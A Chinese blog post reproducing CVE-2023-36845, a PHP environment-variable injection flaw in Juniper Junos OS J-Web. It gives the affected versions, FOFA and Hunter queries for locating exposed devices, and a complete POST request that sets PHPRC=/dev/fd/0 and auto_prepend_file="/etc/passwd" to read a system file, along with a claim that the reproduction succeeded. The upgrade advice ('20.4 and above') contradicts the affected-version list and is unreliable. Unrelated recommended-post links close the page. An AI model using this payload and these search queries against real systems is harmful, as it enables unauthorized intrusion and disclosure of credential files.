CVE-2023-36845:Juniper Networks Junos OS EX远程命令执行漏洞

Juniper Networks Junos OS EX远程命令执行漏洞(CVE-2023-36845) 复现

0x01 前言

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!

0x02 漏洞描述

Juniper Networks Junos OS EX是美国瞻博网络(Juniper Networks)公司的一套专用于该公司的硬件设备的网络操作系统。该操作系统提供了安全编程接口和Junos SDK。

Juniper Networks Junos OS EX存在安全漏洞,该漏洞源于J-Web模块存在PHP外部变量修改漏洞。允许未经身份验证的网络攻击者控制某些重要的环境变量。攻击者利用特制请求可以修改某个PHP环境变量,造成部分完整性损失,这可能允许链接到其他漏洞。

0x03 影响版本

影响以下版本的Juniper Networks Junos OS: 所有版本早于21.4R3-S5;22.1版本早于22.1R3-S4;22.2版本早于22.2R3-S2;22.3版本早于22.3R2-S2、22.3R3-S1;22.4版本早于22.4R2-S1、22.4R3;23.2版本早于23.2R1-S1、23.2R2。

0x04 漏洞环境

FOFA语法:title="Juniper Web Device Manager"

hunter语法:web.title:"Juniper Web Device Manager"

0x05 漏洞复现

1.访问漏洞环境

2.构造POC

POC (POST)

bash 复制代码
POST /?PHPRC=/dev/fd/0 HTTP/1.1
Host: ip:port
Cache-Control: max-age=0
Sec-Ch-Ua: "-Not.A/Brand";v="8", "Chromium";v="102"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9


auto_prepend_file="/etc/passwd"

3.复现

执行/etc/group

漏洞复现执行成功!!!

0x06 修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

将组件 junos 升级至 20.4 及以上版本

复制代码
 1. https://supportportal.juniper.net/JSA72300
 2. https://packetstormsecurity.com/files/174865/Juniper-SRX-Firewall-EX-Switch-Remote-Code-Execution.html
相关推荐
William一直在路上2 小时前
KONG API Gateway中的核心概念
网络·gateway·kong
大得3693 小时前
django的数据库原生操作sql
数据库·sql·django
tuokuac3 小时前
SQL中的HAVING用法
数据库·sql
jnrjian3 小时前
利用trigger对大表在线同步 UDI
数据库·sql
qq_165706075 小时前
java实现运行SQL脚本完成数据迁移
java·sql
sakoba5 小时前
Docker学习其二(容器卷,Docker网络,Compose)
运维·网络·学习·docker·容器·基础
PcVue China5 小时前
法国彩虹重磅发布EmVue:解锁能源监控新方式
安全·自动化·软件工程·能源·数字化
Y_036 小时前
网络安全基础知识【6】
安全·web安全
惜.己7 小时前
appium中urllib3.exceptions.LocationValueError: No host specified. 的错误解决办法
网络·appium
吉凶以情迁7 小时前
window服务相关问题探索 go语言服务开发探索调试
linux·服务器·开发语言·网络·golang